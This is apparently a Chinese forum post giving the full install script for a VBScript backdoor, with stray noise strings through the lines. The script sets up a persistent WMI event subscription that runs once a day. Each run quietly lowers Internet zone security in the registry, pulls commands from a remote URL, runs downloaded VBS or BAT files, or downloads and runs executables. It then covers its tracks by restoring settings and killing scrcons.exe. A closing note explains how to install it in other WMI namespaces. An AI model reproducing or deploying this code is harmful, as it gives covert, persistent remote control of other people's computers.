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完整的安装脚本代码如下:9 N7 o1 Q1 a2 Q
Codz:
! Y5 g. B% j& \. G'***以下为参数配置,请根据情况自行修改***' & } ~2 x7 r7 }9 O" z
nslink="winmgmts:\\.\root\cimv2:" '名字空间' $ \: ~: Y& Z2 c- t% }- `9 S
doorname="vbscript_backdoor" '记住后门的名字,卸载时需要' / B* @8 j/ s3 X/ q
runinterval=86400000 '每天运行一次'
9 G6 a. J5 s9 @9 k/ c6 L& J4 l7 `cmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置'
8 ]6 Z; O! W: @, v2 X3 ~- \7 jcmdw=4000 '文件下载超时时间' : L0 D2 K$ X, [& E" Q1 V
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
, B+ B* j A! X; g" i; s'***参数配置结束***' 7 A* Y8 v+ `; {8 y, g0 O9 w* g' \# ~
; |: L2 r+ ?6 xcreateobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"
. `1 Q2 O5 {4 C& \' I' Q3 c
) e* [- p0 k1 L& W) l2 I'脚本后门核心代码' 6 k1 ^6 F; U; q- g) |0 ?; p
stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""" n error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub" ; u, ^& u& I8 E6 v4 [
4 a/ |- k, s3 e% ]'配置事件消费者' 2 y" K: L& p/ B- j
set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ % I! Q5 A) Y: Y& t4 f- x
asec.name=doorname&"_consumer" ' n% w( r2 }' W4 b5 W) N9 n
asec.scriptingengine="vbscript"
2 Y0 R# y8 ~7 }0 P0 h B; t4 \asec.scripttext=stxt 0 I& ^4 h0 r9 H& w' y
set asecpath=asec.put_
0 H1 R7 g: b; b
! }9 N+ K, g3 d'配置计时器'
; {% W0 _ f1 N( \7 Aset itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ + e8 x% P0 O- W( N! |
itimer.timerid=doorname&"_itimer"
: s/ n9 W9 r* T% ~1 Fitimer.intervalbetweenevents=runinterval
" Z" v: P' k. l' W6 q! zitimer.skipifpassed=false & C7 ?- V2 A2 Q9 ~! f" D' A
itimer.put_
$ A" ~+ ^2 w6 {7 s& y; s. X8 R* r, d( i4 ]' K: Y; G
'配置事件过滤器' . Z [$ i- V6 K8 r% h& }
set evtflt=getobject(nslink&"__EventFilter").spawninstance_ " G% K. R: V3 h$ R. y, P
evtflt.name=doorname&"_filter" 4 b8 L8 ~ f' W/ H' t) }5 ], T J5 S
evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""
; ~$ Y# v# A5 ]& s( p* Qevtflt.querylanguage="wql"
: v; v& M* w/ l0 y7 vset fltpath=evtflt.put_
. S" j; I7 q8 f
3 ~. n" ^& }0 j: o) G! V% A1 Y'绑定消费者和过滤器' 3 c4 n! u5 ?5 t. B& F4 r
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ 8 S( C$ H4 W, D* R
fcbnd.consumer=asecpath.path
5 p7 X" ?2 d `; T9 Jfcbnd.filter=fltpath.path
# d' e9 Y1 e6 @: g, A2 I6 p: ofcbnd.put_
' S" n: b7 h# t5 x" A j3 `% l
- r5 K5 [& }6 }5 A* Awscript.echo "安装完成"1 g; n; X( N+ Z5 Q) k3 r- U
! Y# {1 t. m3 f5 U$ g; O" E
与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了 |
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